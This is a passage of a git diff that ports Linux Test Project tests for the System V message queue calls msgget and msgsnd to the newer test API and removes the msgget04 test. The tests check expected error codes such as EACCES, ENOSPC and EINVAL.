- *      28/03/2008 Renaud Lottiaux (Renaud.Lottiaux@kerlabs.com)
- *      - Fix concurrency issue. The second key used for this test was
- *        sometime conflicting with the key from another task.
- *        Generate a valid second key through getipckey to avoid conflicts.
- *
- * RESTRICTIONS
- *	none
  */
+#include <errno.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include <pwd.h>
 
-#include "test.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-#include "ipcmsg.h"
+static key_t msgkey, msgkey1;
+static int queue_id = -1;
+static struct passwd *pw;
 
-char *TCID = "msgget02";
-int TST_TOTAL = 3;
-
-struct test_case_t {
-	int error;
-	int msgkey;
+static struct tcase {
+	int *key;
 	int flags;
-} TC[] = {
-	{
-	EEXIST, 0, IPC_CREAT | IPC_EXCL}, {
-	ENOENT, 1, IPC_PRIVATE}, {
-	ENOENT, 1, IPC_EXCL}
+	int exp_err;
+	/*1: nobody expected  0: root expected */
+	int exp_user;
+} tcases[] = {
+	{&msgkey, IPC_CREAT | IPC_EXCL, EEXIST, 0},
+	{&msgkey1, IPC_PRIVATE, ENOENT, 0},
+	{&msgkey1, IPC_EXCL, ENOENT, 0},
+	{&msgkey, MSG_RD, EACCES, 1},
+	{&msgkey, MSG_WR, EACCES, 1},
+	{&msgkey, MSG_RW, EACCES, 1}
 };
 
-key_t msgkey1;
-int msg_q_1 = -1;		/* The message queue id created in setup */
-
-int main(int ac, char **av)
+static void verify_msgget(struct tcase *tc)
 {
-	int lc;
-	int i;
-	key_t key;
+	TEST(msgget(*tc->key, tc->flags));
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "msgget() succeeded unexpectedly");
+		return;
+	}
 
-	setup();		/* global setup */
+	if (TEST_ERRNO == tc->exp_err) {
+		tst_res(TPASS | TTERRNO, "msgget() failed as expected");
+	} else {
+		tst_res(TFAIL | TTERRNO, "msgget() failed unexpectedly,"
+			" expected %s", tst_strerrno(tc->exp_err));
+	}
+}
 
-	/* The following loop checks looping state if -i option given */
+static void do_test(unsigned int n)
+{
+	pid_t pid;
+	struct tcase *tc = &tcases[n];
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* loop through the test cases */
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			if (TC[i].msgkey == 0)
-				key = msgkey;
-			else
-				key = msgkey1;
-
-			TEST(msgget(key, TC[i].flags));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "msgget() call succeeded "
-					 "on expected fail");
-				continue;
-			}
-
-			switch (TEST_ERRNO) {
-			case ENOENT:
-			 /*FALLTHROUGH*/ case EEXIST:
-				if (TEST_ERRNO == TC[i].error) {
-					tst_resm(TPASS, "expected failure - "
-						 "errno = %d : %s", TEST_ERRNO,
-						 strerror(TEST_ERRNO));
-					break;
-				}
-			/*FALLTHROUGH*/ default:
-				tst_resm(TFAIL, "call failed with an "
-					 "unexpected error - %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-				break;
-			}
+	if (tc->exp_user == 0) {
+		verify_msgget(tc);
+	} else {
+		pid = SAFE_FORK();
+		if (pid) {
+			tst_reap_children();
+		} else {
+			SAFE_SETUID(pw->pw_uid);
+			verify_msgget(tc);
+			exit(0);
 		}
 	}
-
-	cleanup();
-
-	tst_exit();
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
+	msgkey = GETIPCKEY();
+	msgkey1 = GETIPCKEY();
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	queue_id = SAFE_MSGGET(msgkey, IPC_CREAT | IPC_EXCL);
 
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-	msgkey1 = getipckey();
-
-	/* now we have a key, so let's create a message queue */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL)) == -1) {
-		system("ipcs > /tmp/toto");
-		system("ps -aux >> /tmp/toto");
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
-	}
+	pw = SAFE_GETPWNAM("nobody");
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-	/* if it exists, remove the message queue that was created. */
-	rm_queue(msg_q_1);
-
-	tst_rmdir();
-
+	if (queue_id != -1)
+		SAFE_MSGCTL(queue_id, IPC_RMID, NULL);
 }
+
+static struct tst_test test = {
+	.tid = "msgget02",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = do_test
+};
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget03.c b/testcases/kernel/syscalls/ipc/msgget/msgget03.c
index 2eda252..97911f9 100644
--- a/testcases/kernel/syscalls/ipc/msgget/msgget03.c
+++ b/testcases/kernel/syscalls/ipc/msgget/msgget03.c
@@ -1,168 +1,96 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	msgget03.c
- *
  * DESCRIPTION
- *	msgget03 - test for an ENOSPC error by using up all available
- *		   message queues.
+ * test for an ENOSPC error by using up all available
+ * message queues.
  *
- * ALGORITHM
- *	Get all the message queues that can be allocated
- *	loop if that option was specified
- *	Try to get one more message queue
- *	check the errno value
- *	  issue a PASS message if we get ENOSPC
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  msgget03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
  */
 
-#include "test.h"
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+#include <stdlib.h>
 
-#include "ipcmsg.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-char *TCID = "msgget03";
-int TST_TOTAL = 1;
+static int maxmsgs;
+static int *queues;
+static key_t msgkey;
 
-int maxmsgs = 0;
-
-int *msg_q_arr = NULL;		/* hold the id's that we create */
-int num_queue = 0;		/* count the queues created */
-
-int main(int ac, char **av)
+static void verify_msgget(void)
 {
-	int lc;
-	int msg_q;
+	TEST(msgget(msgkey + maxmsgs, IPC_CREAT | IPC_EXCL));
+	if (TEST_RETURN != -1)
+		tst_res(TFAIL, "msgget() succeeded unexpectedly");
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Use a while loop to create the maximum number of queues.
-		 * When we get an error, check for ENOSPC.
-		 */
-		while ((msg_q =
-			msgget(msgkey + num_queue,
-			       IPC_CREAT | IPC_EXCL)) != -1) {
-			msg_q_arr[num_queue] = msg_q;
-			if (num_queue == maxmsgs) {
-				tst_resm(TINFO, "The maximum number of message"
-					 " queues (%d) has been reached",
-					 maxmsgs);
-				break;
-			}
-			num_queue++;
-		}
-
-		switch (errno) {
-		case ENOSPC:
-			tst_resm(TPASS, "expected failure - errno = %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		default:
-			tst_resm(TFAIL, "call failed with an "
-				 "unexpected error - %d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-			break;
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-
-	maxmsgs = get_max_msgqueues();
-	if (maxmsgs < 0)
-		tst_brkm(TBROK, cleanup, "get_max_msgqueues failed");
-
-	msg_q_arr = (int *)calloc(maxmsgs, sizeof(int));
-	if (msg_q_arr == NULL) {
-		tst_brkm(TBROK, cleanup, "Couldn't allocate memory "
-			 "for msg_q_arr: calloc() failed");
+	if (TEST_ERRNO == ENOSPC) {
+		tst_res(TPASS | TTERRNO, "msgget() failed as expected");
+	} else {
+		tst_res(TFAIL | TTERRNO, "msgget() failed unexpectedly,"
+			" expected ENOSPC");
 	}
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void setup(void)
 {
-	int i;
+	int res, num;
 
-	/*
-	 * remove the message queues if they were created
-	 */
+	msgkey = GETIPCKEY();
 
-	if (msg_q_arr != NULL) {
-		for (i = 0; i < num_queue; i++) {
-			rm_queue(msg_q_arr[i]);
-		}
-		(void)free(msg_q_arr);
+	SAFE_FILE_SCANF("/proc/sys/kernel/msgmni", "%i", &maxmsgs);
+
+	queues = SAFE_MALLOC(maxmsgs * sizeof(int));
+
+	for (num = 0; num < maxmsgs; num++) {
+		queues[num] = -1;
+
+		res = msgget(msgkey + num, IPC_CREAT | IPC_EXCL);
+		if (res != -1)
+			queues[num] = res;
 	}
 
-	tst_rmdir();
-
+	tst_res(TINFO, "The maximum number of message queues (%d) reached",
+		maxmsgs);
 }
+
+static void cleanup(void)
+{
+	int num;
+
+	if (!queues)
+		return;
+
+	for (num = 0; num < maxmsgs; num++) {
+		if (queues[num] != -1)
+			SAFE_MSGCTL(queues[num], IPC_RMID, NULL);
+	}
+
+	free(queues);
+}
+
+static struct tst_test test = {
+	.tid = "msgget03",
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_msgget
+};
diff --git a/testcases/kernel/syscalls/ipc/msgget/msgget04.c b/testcases/kernel/syscalls/ipc/msgget/msgget04.c
deleted file mode 100644
index 22f8b38..0000000
--- a/testcases/kernel/syscalls/ipc/msgget/msgget04.c
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	msgget04.c
- *
- * DESCRIPTION
- *	msgget04 - test for an EACCES error by creating a message queue
- *		   with no read or write permission and then attempting
- *		   to access it with various permissions.
- *
- * ALGORITHM
- *	Create a message queue with no read or write permission
- *	loop if that option was specified
- *	Try to access the message queue with various permissions
- *	check the errno value
- *	  issue a PASS message if we get EACCES
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	  break any remaining tests
- *	  call cleanup
- *
- * USAGE:  <for command-line>
- *  msgget04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
- */
-#include <pwd.h>
-#include "test.h"
-
-#include "ipcmsg.h"
-
-char *TCID = "msgget04";
-int TST_TOTAL = 3;
-
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-int msg_q_1 = -1;		/* to hold the message queue id */
-
-int test_flags[] = { MSG_RD, MSG_WR, MSG_RD | MSG_WR };
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/* loop through the test cases */
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			/*
-			 * Try to access the message queue with specified
-			 * permissions.
-			 */
-
-			TEST(msgget(msgkey, test_flags[i]));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded "
-					 "when EACCES error expected");
-				continue;
-			}
-
-			switch (TEST_ERRNO) {
-			case EACCES:
-				tst_resm(TPASS, "expected failure - errno = "
-					 "%d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-				break;
-			default:
-				tst_resm(TFAIL, "call failed with an "
-					 "unexpected error - %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-				break;
-			}
-		}
-	}
-
-	cleanup();
-
-	tst_exit();
-}
-
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "setuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("setuid");
-	}
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-
-	/*
-	 * Create the message queue without specifying permissions.
-	 */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL)) == -1) {
-		tst_brkm(TBROK, cleanup, "Could not create message queue"
-			 " - errno = %d : %s", errno, strerror(errno));
-	}
-}
-
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
-{
-	/* if it exists, remove the message queue */
-	rm_queue(msg_q_1);
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/Makefile b/testcases/kernel/syscalls/ipc/msgsnd/Makefile
index f467389..207fb16 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/Makefile
+++ b/testcases/kernel/syscalls/ipc/msgsnd/Makefile
@@ -1,23 +1,26 @@
 #
-#  Copyright (c) International Business Machines  Corp., 2001
+# Copyright (c) International Business Machines  Corp., 2001
 #
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
+# This program is free software;  you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
 #
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY;  without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+# the GNU General Public License for more details.
 #
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+# You should have received a copy of the GNU General Public License
+# along with this program.
 #
 
 top_srcdir              ?= ../../../../..
 
+ifeq ($(UCLINUX),1)
+FILTER_OUT_MAKE_TARGETS += msgsnd05 msgsnd06
+endif
+
 include $(top_srcdir)/include/mk/testcases.mk
-include $(abs_srcdir)/../Makefile.inc
+include $(abs_srcdir)/../Makefile2.inc
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
index 0ca2be0..d605fca 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd01.c
@@ -1,169 +1,78 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	msgsnd01.c
- *
  * DESCRIPTION
- *	msgsnd01 - test that msgsnd() enqueues a message correctly
- *
- * ALGORITHM
- *	create a message queue
- *	initialize a message buffer with a known message and type
- *	loop if that option was specified
- *	enqueue the message
- *	check the return code
- *	  if failure, issue a FAIL message.
- *	otherwise,
- *	  if doing functionality testing
- *		stat the message queue
- *		check for # of bytes = MSGSIZE and # of messages = 1
- *	  	if correct,
- *			issue a PASS message
- *		otherwise
- *			issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgsnd01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	None
+ * test that msgsnd() enqueues a message correctly.
  */
 
-#include "test.h"
+#include <errno.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
 
-#include "ipcmsg.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-void cleanup(void);
-void setup(void);
+static key_t msgkey;
+static int queue_id = -1;
+static struct buf {
+	long type;
+	char text[MSGSIZE];
+} rcv_buf, snd_buf = {MSGTYPE, "hello"};
 
-char *TCID = "msgsnd01";
-int TST_TOTAL = 1;
-
-int msg_q_1;
-MSGBUF msg_buf, rd_buf;
-
-struct msqid_ds qs_buf;
-
-int main(int ac, char **av)
+static void verify_msgsnd(void)
 {
-	int lc;
+	struct msqid_ds qs_buf;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * Use TEST macro to make the call
-		 */
-
-		TEST(msgsnd(msg_q_1, &msg_buf, MSGSIZE, 0));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL, "%s call failed - errno = %d : %s",
-				 TCID, TEST_ERRNO, strerror(TEST_ERRNO));
-			continue;
-		}
-
-		/* get the queue status */
-		if (msgctl(msg_q_1, IPC_STAT, &qs_buf) == -1) {
-			tst_brkm(TBROK, cleanup, "Could not "
-				 "get queue status");
-		}
-
-		if (qs_buf.msg_cbytes != MSGSIZE) {
-			tst_resm(TFAIL, "queue bytes != MSGSIZE");
-		}
-
-		if (qs_buf.msg_qnum != 1) {
-			tst_resm(TFAIL, "queue message != 1");
-		}
-
-		tst_resm(TPASS, "queue bytes = MSGSIZE and "
-			 "queue messages = 1");
-
-		/*
-		 * remove the message by reading from the queue
-		 */
-		if (msgrcv(msg_q_1, &rd_buf, MSGSIZE, 1, 0) == -1) {
-			tst_brkm(TBROK, cleanup, "Could not read from queue");
-		}
+	TEST(msgsnd(queue_id, &snd_buf, MSGSIZE, 0));
+	if (TEST_RETURN == -1) {
+		tst_res(TFAIL | TTERRNO, "msgsnd() failed");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	SAFE_MSGCTL(queue_id, IPC_STAT, &qs_buf);
+
+	if (qs_buf.msg_cbytes == MSGSIZE && qs_buf.msg_qnum == 1)
+		tst_res(TPASS, "queue bytes and number of queues matched");
+	else
+		tst_res(TFAIL, "queue bytes or number of queues mismatched");
+
+	SAFE_MSGRCV(queue_id, &rcv_buf, MSGSIZE, 1, 0);
 }
 
-/*
- * setup() - performs all the ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
+	msgkey = GETIPCKEY();
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/*
-	 * Create a temporary directory and cd into it.
-	 * This helps to ensure that a unique msgkey is created.
-	 * See ../lib/libipc.c for more information.
-	 */
-	tst_tmpdir();
-
-	msgkey = getipckey();
-
-	/* create a message queue with read/write permissions */
-	if ((msg_q_1 = msgget(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW)) == -1) {
-		tst_brkm(TBROK, cleanup, "Can't create message queue");
-	}
-
-	/* initialize the message buffer */
-	init_buf(&msg_buf, MSGTYPE, MSGSIZE);
+	queue_id = SAFE_MSGGET(msgkey, IPC_CREAT | IPC_EXCL | MSG_RW);
 }
 
-/*
- * cleanup() - performs all the ONE TIME cleanup for this test at completion
- * 	       or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-	/* if it exists, remove the message queue if it exists */
-	rm_queue(msg_q_1);
-
-	tst_rmdir();
-
+	if (queue_id != -1)
+		SAFE_MSGCTL(queue_id, IPC_RMID, NULL);
 }
+
+static struct tst_test test = {
+	.tid = "msgsnd01",
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_msgsnd,
+	.needs_tmpdir = 1
+};
diff --git a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
index 6547ab2..5632079 100644
--- a/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
+++ b/testcases/kernel/syscalls/ipc/msgsnd/msgsnd02.c
@@ -1,175 +1,133 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program.
  */
 
 /*
- * NAME
- *	msgsnd02.c
- *
  * DESCRIPTION
- *	msgsnd02 - test for EACCES and EFAULT errors
- *
- * ALGORITHM
- *	create a message queue without write permission
- *	create a trivial message buffer
- *	loop if that option was specified
- *	call msgsnd() using two different invalid cases
- *	check the errno value
- *	  issue a PASS message if we get EACCES or EFAULT
- *	otherwise, the tests fails
- *	  issue a FAIL message
- *	call cleanup
- *
- * USAGE:  <for command-line>
- *  msgsnd02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	03/2001 - Written by Wayne Boyer
- *
- * RESTRICTIONS
- *	none
+ * 1) The calling process does not have write permission on the message
+ *    queue, so msgsnd(2) fails and sets errno to EACCES.
+ * 2) msgsnd(2) fails and sets errno to EFAULT if the message buffer address
+ *    is invalid.
+ * 3) msgsnd(2) fails and sets errno to EINVAL if the queue ID is invalid.
+ * 4) msgsnd(2) fails and sets errno to EINVAL if the message type is not
+ *    positive (0).
+ * 5) msgsnd(2) fails and sets errno to EINVAL if the message type is not
+ *    positive (>0).
+ * 6) msgsnd(2) fails and sets errno to EINVAL if the message size is less
+ *    than zero.
  */
+
+#include <errno.h>
+#include <string.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
 #include <pwd.h>
-#include "test.h"
 
-#include "ipcmsg.h"
+#include "tst_test.h"
+#include "tst_safe_sysv_ipc.h"
+#include "libnewipc.h"
 
-void cleanup(void);
-void setup(void);
+static key_t msgkey;
+static int queue_id = -1;
+static int bad_id = -1;
+static struct passwd *pw;
+static struct buf {
+	long type;
+	char text[MSGSIZE];
+} snd_buf[] = {
+	{1, "hello"},
+	{0, "hello"},
+	{-1, "hello"}
+};
 
-char *TCID = "msgsnd02";
-int TST_TOTAL = 2;
+static struct tcase {
+	int *id;
+	struct buf *buffer;
+	int msgsz;
+	int exp_err;
+	/*1: nobody expected  0: root expected */
+	int exp_user;
+} tcases[] = {
+	{&queue_id, &snd_buf[0], MSGSIZE, EACCES, 1},
+	{&queue_id, NULL, MSGSIZE, EFAULT, 0},
+	{&bad_id, &snd_buf[0], MSGSIZE, EINVAL, 0},
+	{&queue_id, &snd_buf[1], MSGSIZE, EINVAL, 0},
+	{&queue_id, &snd_buf[2], MSGSIZE, EINVAL, 0},
+	{&queue_id, &snd_buf[0], -1, EINVAL, 0}
+};
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-int msg_q_1 = -1;		/* The message queue id created in setup */
-MSGBUF msg_buf;			/* a buffer for the message to queue */
-int bad_q = -1;			/* a value to use as a bad queue ID */
-
-struct test_case_t {
-	int *queue_id;
-	MSGBUF *buffer;
-	int error;
-} TC[] = {
-	/* EACCES - there is no write permission for the queue */
-	{
-	&msg_q_1, &msg_buf, EACCES},
-	    /* EFAULT - the message buffer address is invalid */
-	{
-&msg_q_1, NULL, EFAULT},};
-
-int main(int ac, char **av)
+static void verify_msgsnd(struct tcase *tc)
 {
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();		/* global setup */
-
-	/* The following loop checks looping state if -i option given */
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		/*
-		 * loop through the test cases
-		 */
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(msgsnd(*(TC[i].queue_id), TC[i].buffer, 1, 0));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS, "expected failure - "
-					 "errno = %d : %s", TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			} else {
-				tst_resm(TFAIL, "unexpected error - %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
-			}
-		}
+	TEST(msgsnd(*tc->id, tc->buffer, tc->msgsz, 0));
+	if (TEST_RETURN != -1) {
+		tst_res(TFAIL, "smgsnd() succeeded unexpectedly");
+		return;
 	}
